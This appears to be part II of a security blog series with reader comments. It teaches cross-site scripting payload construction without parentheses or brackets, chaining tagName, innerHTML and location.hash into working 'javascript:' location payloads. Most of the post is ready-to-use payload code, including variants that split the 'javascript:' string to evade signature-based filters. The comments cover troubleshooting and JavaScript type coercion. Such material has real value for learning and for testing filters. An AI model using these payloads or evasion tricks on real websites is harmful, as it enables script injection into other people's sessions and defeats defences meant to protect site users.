If you didn’t read it yet, I highly recommend the reading of part I.
Without using parentheses to call functions and brackets to addressing chars in an array, we can only rely on document properties to make the XSS payload work. The first one we will use is tagName. In order to facilitate our visual understanding of what we are getting before the final payload, we will use alert boxes to see our potential location contructions:
<svg onload=alert(tagName)>
Doing so, we will see the string “svg” in the alert box. But what if we change the tag to something more useful to our purposes?
<javascript onclick=alert(tagName)>click me!
A tag named javascript? Is it possible?
Yes, it is. Anything that starts with an alphabetic character after “<” can work as a tag (as we saw in “Agnostic Event Handlers”) and will be handled as a tag. So using tagName with a javascript tag, we already have a part of our desired payload.
Needing the “:alert(1)” part and knowing that “location.hash” trick, we are tempted to try it adding the 2 strings in order to build our location:
<javascript onclick=alert(tagName%2Blocation.hash)>click me!#:alert(1)
As we can see, there’s a hash in the middle that we can’t get rid of. Or we can?
First we need to move the colon (“:”) to the tagName part (yes, we can):
<javascript: onclick=alert(tagName%2Blocation.hash)>click me!#alert(1)
Second, as we are in the pure code part after “javascript:” for location, we will use the innerHTML property (which returns what is between the open and close tags) to let us use comments:
<javascript: onclick=alert(tagName%2BinnerHTML%2Blocation.hash)>/*click me!#*/alert(1)
It seems we have a valid code for location now:
<javascript: onclick=location=tagName%2BinnerHTML%2Blocation.hash>/*click me!#*/alert(1)
Result => javascript: + /*click me! + #*/alert(1)
Bingo!
I don’t know what you might be thinking about it right now. But it paves the way to a lot of interesting constructions based only in document properties.
Before moving on, let’s see a common variation of our payload. This will be useful when we explore the next ones:
<javascript: onclick=location=tagName%2BinnerHTML%2Blocation.hash>’click me!#’-alert(1)
Result => javascript: +’click me! + #’-alert(1)
This time we changed the innerHTML property of the tag (and the hash) to a string that will be “concatenated” to alert(1) to execute it. We used single quotes in this example but double quotes can be used as well, depending of the context. In our test page for example, using that payload with double quotes does not work.
It’s because if there’s a */ (end of javascript comments) or a single/double quotes in the native code after the injection, the respective payload will be broken. This happens because innerHTML, the actual content of our injected tag, is the entire HTML code after it since the tag was not closed.
But there’s an easy solution for that:
<javascript: onclick=alert(tagName%2BinnerHTML%2Blocation.hash)>’click me!</javascript:>#’-alert(1)
Now, in order to evade the “javascript:” signature, we have to make different combinations of properties addition. Here are some examples using the result scheme:
javascript + :’click me! + #’-alert(1)
javascrip + t:’click me! + #’-alert(1)
javas + cript:’click me! + #’-alert(1)
The fun has just begun. In the next posts we will see advanced techniques to build this type of payloads.
#hack2learn
P.S.: due to formatting of this blog theme, type the quotes manually instead of just a copy and paste or it will not work.
P.S.2: Part III of this series is here.
Hi!
First of all, congratulations for your blog. Your posts are very useful and entertaining :D.
One question, the javascript: +’click me! + #’-alert(1) doesn’t work for me (in your test page, trying both single and double quotes).
Also I don’t know why it should work, because as far as I know (I am a newbie in js, so I probably will be wrong) the minus sign does not works with strings.
Could you please explain a little bit why the minus sign should work?
Regards,
JC
Thank you.
You may be having an issue with the quotes if you are copying and pasting due to the formatting of this blog theme. Try to type them manually. It works flawless like you can see in this example.
All the arithmetic operators work to make the alert execute because javascript does an automatic type conversion in an attempt to perform the arithmetic operation, hence executing the function when doing it.
Hi,
Yes, I already though about correcting the quotes (typing them again).
The problem was that as I was showing it with an alert before, I forgot to add the =location=… D:
Sorry for the inconveniences, and thank you.
Keep going!
[…] P.S. Part II of this series is here. […]
[…] If you didn’t read it yet, I highly recommend the reading of part I. Without using parentheses to call functions and brackets to addressing chars in an array, we can only rely on document properties to make the XSS payload work. […]